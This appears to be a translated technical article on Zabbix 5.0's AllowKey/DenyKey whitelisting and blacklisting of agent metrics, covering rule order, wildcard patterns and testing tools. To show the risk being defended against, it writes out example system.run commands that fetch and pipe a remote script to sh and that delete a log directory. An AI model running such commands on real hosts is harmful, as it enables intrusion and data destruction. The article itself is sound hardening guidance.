Support for blacklisting and whitelisting for agent-side metrics in Zabbix 5.0

Support for blacklisting and whitelisting for agent-side metrics

Tikhon Uskov, Integration Engineer, Zabbix

Data Security Issues

Zabbix 5.0 has a new feature that allows you to improve security on systems using Zabbix Agent and replaces the old setting EnableRemoteCommands.

The enhancements to the security of agent-based systems stem from the fact that an agent can perform a large number of potentially dangerous activities.

• The agent can collect almost any information, including confidential or potentially dangerous information, from configuration files, log files, password files, or any other files.

For example, using the zabbix_get utility, you can access the list of users, their home directories, password files, etc.

Accessing data using the zabbix_get utility

NOTE. Data can only be retrieved if the agent has read access to the corresponding file. But, for example, the file /etc/passwd/ readable by all users.

• The agent can also execute potentially dangerous commands. For example, key *system.run[]** allows you to execute any remote commands on network nodes, including running scripts from the Zabbix web interface that also execute commands on the agent side.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

• On Linux, the agent runs without root privileges by default, while on Windows it runs as a service on behalf of System and has unrestricted access to the file system. Accordingly, if no changes are made to the Zabbix Agent settings after installation, the agent has access to the registry, file system and can execute WMI queries.

In earlier versions, the option EnableRemoteCommands=0 only allowed to disable metrics with the key *system.run[]** and execute scripts from the web interface, but it was not possible to restrict access to individual files, allow or disable individual keys that were installed with the agent, or restrict the use of individual parameters.

Using the EnableRemoteCommand parameter in earlier versions of Zabbix

AllowKey/DenyKey

Zabbix 5.0 helps protect against such unauthorized access with whitelists and blacklists to enable and disable metrics on the agent side.

In Zabbix 5.0 all keys including *system.run[]** are allowed, and two new agent configuration options have been added:

AllowKey= — authorized checks;

DenyKey= — prohibited checks;

where is a key name pattern with parameters that uses metacharacters (*).

The AllowKey and DenyKey keys allow or disable individual metrics according to a specific pattern. Unlike other configuration options, the number of AllowKey/DenyKey options is unlimited. This allows you to clearly define what exactly the agent can do in the system by creating a tree of checks - executable keys, where the order in which they are written plays a very important role.

Sequence of rules

The rules are checked in the order in which they are entered in the configuration file. The key is checked against the rules until the first match, and as soon as the item key matches the pattern, it is allowed or denied. After that, rule checking stops and the rest of the keys are ignored.

Therefore, if an element matches both an allow and a deny rule, the result will depend on which rule comes first in the configuration file.

2 different rules with the same pattern and key vfs.file.size[/tmp/file]

How to use AllowKey/DenyKey keys:

1. precise rules
2. general rules,
3. forbidding rule.

For example, if you need access to files in a certain folder, you must first allow access to them, and then deny everything else that does not fall under the set permissions. If a deny rule is used in the first place, access to the folder will be denied.

Correct sequence

If you need to allow the launch of 2 utilities via *system.run[]**, and the deny rule will be specified first, utilities will not run, because the first pattern will always match any key, and subsequent rules will be ignored.

Wrong sequence

Patterns

Fundamental rules

The pattern is an expression with wildcards. The metacharacter (*) matches any number of any characters at a particular position. Metacharacters can be used both in the key name and in parameters. For example, you can hard-code the first parameter in text, and specify the next one as wildcard.

Parameters must be enclosed in square brackets [].

• system.run[* - wrong
• vfs.file*.txt] - wrong
• vfs.file.*[*] - right

Examples of using wildcard.

1. In the key name and in the parameter. In this case, the key does not correspond to a similar key that does not contain a parameter, since we indicated in the pattern that we want to get a certain ending of the key name and a certain set of parameters.
2. If square brackets are not used in the pattern, the pattern allows all keys that do not contain parameters and disallows all keys with the specified parameter.
3. If the key is written in full, and the parameters are specified as wildcard, it will match any similar key with any parameters and will not match the key without square brackets, i.e. it will be allowed or prohibited.

Rules for filling parameters.

• If the use of a key with parameters is intended, the parameters must be specified in the configuration file. Parameters must be specified as a metacharacter. It is necessary to carefully prohibit access to any file and take into account what information the metric can give with different spelling options - with and without parameters.

Features of writing keys with parameters

• If a key is specified with parameters, but the parameters are optional and specified as a metacharacter, the key without parameters will be allowed. For example, if you want to disable receiving information about the load on the CPU and specify that the system.cpu.load[*] key should be disabled, do not forget that the key without parameters will return the average load value.

Rules for filling parameters

Notes

Setting

• Some rules cannot be modified by the user, such as discovery or agent auto-registration rules. AllowKey/DenyKey rules do not affect the following settings:
  - HostnameItem
  - HostMetadataItem
  - HostInterfaceItem

NOTE. If the administrator disables a key, Zabbix does not provide information on the request for what reason the metric or key falls into the category 'NOT SUPPORTED'. The agent's log files also do not display information about restrictions on remote command execution. This is for security reasons, but can make debugging difficult if metrics fall into an unsupported category for whatever reason..

• You should not rely on any specific order of connecting external configuration files (for example, in alphabetical order).

Command line utilities

After setting up the rules, you need to make sure that everything is set up correctly.

You can use one of three options:

• Add metric to Zabbix.
• Test with zabbix_agentd. Zabbix agent with option -print (-p) shows all keys (which are allowed by default) except those not allowed by the configuration. And with the option -test (-t) for a forbidden key will return 'Unsupported item key'.
• Test with zabbix_get... Utility zabbix_get with option -k will return 'ZBX_NOTSUPPORTED: Unknown metric'.

Allow or Deny

You can deny access to the file and make sure, for example, using the utility zabbix_getthat access to the file is denied.

**

NOTE. Quotes in the parameter are ignored.

In this case, access to such a file may be allowed in a different way. For example, if a symlink leads to it.

It is recommended to check various options for applying the specified rules, as well as to take into account the possibilities to circumvent the prohibitions.

Questions and Answers

Question. Why is such a complex pattern scheme with its own language chosen to describe the rules, permissions and prohibitions? Why was it not possible to use, for example, the regular expressions that Zabbix uses?

Response. This is a performance issue for regex, since there is usually only one agent and it checks a huge number of metrics. Regex is quite a heavy operation and we can't check thousands of metrics this way. Wildcards are a versatile, widely used and simple solution.

Question. Aren't Include files included in alphabetical order?

Response. As far as I know, it is virtually impossible to predict the order in which rules are applied if you spread the rules across different files. I recommend collecting all AllowKey/DenyKey rules in one Include file, because they interact with each other, and including this file.

Question. In Zabbix 5.0 option 'EnableRemoteCommands=' is missing in the configuration file, and only AllowKey/DenyKey are available?

Answer. Yes that's right.

Thank you for attention!

Source: habr.com